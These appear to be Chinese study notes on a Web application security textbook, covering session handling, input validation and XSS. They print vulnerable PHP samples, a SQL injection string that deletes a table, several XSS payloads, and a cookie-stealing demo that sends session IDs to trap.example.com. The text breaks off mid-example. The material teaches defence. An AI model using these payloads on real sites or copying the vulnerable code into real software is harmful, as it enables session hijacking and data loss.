第1章 什么是Web应用的安全隐患
第2章 搭建试验环境
邮件发送服务器Postfix
POP3服务器Dovecot
SSH服务器OpenSSH
Web应用调试工具Fiddler
第3章 Web安全基础:HTTP回话管理、同源策略
Cookie与回话管理
要点:认证后改变回话ID
要点:原则上不设置Cookie的Domain属性
第4章 Web应用的各种安全隐患
4.1 Web应用的功能与安全隐患对应的关系
sql注入:
SELECT * FROMusers WHERE id=’$id’
$id写入: ‘;DELETE FROM users –
SELECT * FROMusers WHERE id=’ ‘;DELETE FROM users –’
隐患名 接口 恶意手段 数据部分边界
跨站脚本 HTML 注入JavaScript等 <”
HTTP消息头注入 HTTP 注入HTTP响应消息头 换行符
SQL注入 SQL 注入SQL命令 ‘
OS命令注入 Shell脚本 注入系统命令 ;|
邮件头注入 sendmail命令 注入或更改邮件头或正文 换行符
4.2 输入处理与安全性
检查字符编码:mb_check_encoding()
转换字符编码:php.ini mb_convert_encoding()
# 二进制安全与空字节攻击:
/42/42-002.php
<body>
<?php
$p = $_GET[‘p’];
if (ereg(‘^[0-9]+$’, $p) === FALSE {
die(‘请输入整数值’);
}
echo $p;
?>
</body>
http://example.jp/42/42-002.php?p=1%00<script>alert(‘XSS’)</script>
%00是空字节,由于ereg函数不是二进制安全的函数,因此,空字节会被视作字符串的结束。
# 使用正则表达式检验输入值
/42/42-010.php
<?php
$p = isset($_GET[‘p’]) ? $_GET[‘p’] : ‘’;
if(preg_match(‘/\A[a-z0-9]{1-5}\z/ui’, $p)== 0) {
die(‘请输入1-5个字符长度的字母或数字’);
}
?>
<body>
p的值为<?php echo htmlspecialchars($p, ENT_NOQUOTES, ‘UTF-8’); ?>
</body>
其中,/为正则表达式开始,\A为字符串的开头,[a-z0-9]匹配数字和字母,{1-5}1-5个字符,\z字符串结尾,/正则表达式结束,u字符编码为UTF-8,i不区分大小写。
^和$代表“行”的开头和结尾,$会匹配换行符%0a,所以当它们用于匹配数据的开头和结尾时就有可能产生bug。
/42/42-013.php
<?php
$addr = isset($_GET[‘addr’]) ?$_GET[‘addr’] : ‘’;
if(preg_match(‘/\A[[:^cntrl:]]{1,30}\z/u’,$addr) == 0) {
die(‘请输入长度小于30个字符的地址(必填项),不能使用换行或Tab等控制字符’);
}
?>
其中,POSIX字符集合[[:^cntrl:]]表示“非控制字符”
preg_match(‘/\A[\r\n\t[:^cntrl:]]{1,400}\z/u’,$comment)
其中,[\r\n\t[:^cntrl:]]表示禁止除换行和Tab以外的控制字符。
<?php
// 取得参数后校验并转换字符编码
// 同时执行了输入值校验的函数
// $key: GET参数名
// $pattern: 用于验证输入值的正则表达式
// $error: 验证输入值时的错误消息
// 返回值:取得的参数(string)
function getParam($key, $pattern, $error){
$val = isset($_GET[$key]) ?$_GET[$key] : ‘’;
//校验字符编码(Shift_JIS)
if(!mb_check_encoding($val,‘Shift_JIS’)) {
die(‘字符编码有误’);
}
// 转化字符编码(Shift_JIS ->UTF-8)
$val = mb_convert_encoding($val,‘UTF-8’, ‘Shift_JIS’);
if(preg_match($pattern, $val) == 0) {
die($error);
}
return $val;
}
// 调用函数
$name = getParam(‘name’,‘/\A[[:^cntrl:]]{1,20}\z/’, ‘请输入长度小于20个字符的姓名(必填,不能使用控制字符)’);
?>
<body>
姓名为<?php echo htmlspecialchars($name, ENT_NOQUOTES, ‘UTF-8’); ?>
</body>
4.3 页面显示相关的隐患
# XSS窃取Cookie值
/43/43-001.php
<?php
session_start();
// 登录校验(略)
?>
<body>
检索关键词:<?php echo $_GET[‘keyword’]; ?><br>
以下略
</body>
正常检索:http://example.jp/43/43-001.php?keyword=Haskell
攻击例子:http://example.jp/43/43-001.php?keyword=<script>alert(document.cookie)</script>
# 使用被动攻击盗取他人的Cookie值
/43/43-900.html
<html><body>
恶意网站<br><br>
<iframe src=http://example.jp/43/43-001.php?keyword=<script>window.location=’http://trap.example.com/43/43-901.php?sid=’%2Bdocument.cookie;</script></iframe>
</body></html>
/43/43-901.php
<?php
mb_language(‘Japanese’);
$sid = $_GET[‘sid’];
mb_send_mail(‘wasbook@example.jp’, ‘攻击成功’, ‘回话ID:’ . $sid, ‘From: cracked@trap.example.com’);
?>
<body>攻击成功<br>
<?php echo $sid; ?>
</body>
# 没有用引号括起来的属性值的XSS
/43/43-003.php
<body>
<input type=text name=mailvalue=<?php echo $_GET[‘p’]; ?>>
</body>
注入:1+mouseover%3dalert(document.cookie)
其中:+代表空格,%3d代表=
结果为:<input type=text name=mail value=1 οnmοuseοver=alert(document.cookie)>
# 用引号括起来的属性值的XSS
/43/43-004.php
<body>
<input type=”text” name=”mail”value=”<?php echo $_GET[‘p’]; ?>”>
</body>
注入:”+onmouseover%3d”alert(document.cookie)
结果为:<input type=”text” name=”mail” value=””οnmοuseοver=”alert(document.cookie)” >
# HTML中最低限度的防范策略如下:
元素内容中转义<和&
属性值用双引号括起来,并转义< ”和&
php中用htmlspecialchars函数进行转义。
# 明确设置HTTP响应的字符编码
header(‘Content-Type:text/html; charset=UTF-8’);
# 输入校验
# 给Cookie添加HttpOnly属性
# 关闭TRACE方法
# href属性与src属性的XSS
/43/43-010.php
<body>
<a href=”<?php echo htmlspecialchars($_GET[‘url’]);?>书签</a>
</body>
攻击:
http://example.jp/43/43-010.php?url=javascript:alert(document.cookie)
结果为:
<body>
<a href=”javascript:alert(document.cookie)”>书签</a>
</body>
# 校验网址链接,URL需满足以http:、https:或/开头
functioncheck_url($url) {
if(preg_match(‘/\Ahttp:/’, $url) ||preg_match(‘/\Ahttps:/’, $url) || preg_match(‘#\A/#’, $url)) {
return true;
} else {
return false;
}
}
# 事件绑定函数的XSS
/43/43-012.php
<head><script>
function init(a) {} // 空函数
</script></head>
<bodyοnlοad=”init(‘<?php echo htmlspecialchars($_GET[‘name’], ENT_QUOTES)?>’)”>
</body>
注入:
name=’);alert(document.cookie)//
结果为:
<body οnlοad=”init(‘');alert(document.cookie)//’)”>
执行时:
init(‘’);alert(document.cookie)//’)
对策:将JavaScript字符串字面量中\ ‘ “ 换行进行转义
Script元素的XSS
/43/43-013.php
<?php
function escape_js($s) {
return mb_ereg_replace(‘([\\\\\’”])’,‘\\\1’, $s);
}
?>
<body>
<script src=”jquery-1.4.4.min.js”></script>
你好,<span id=”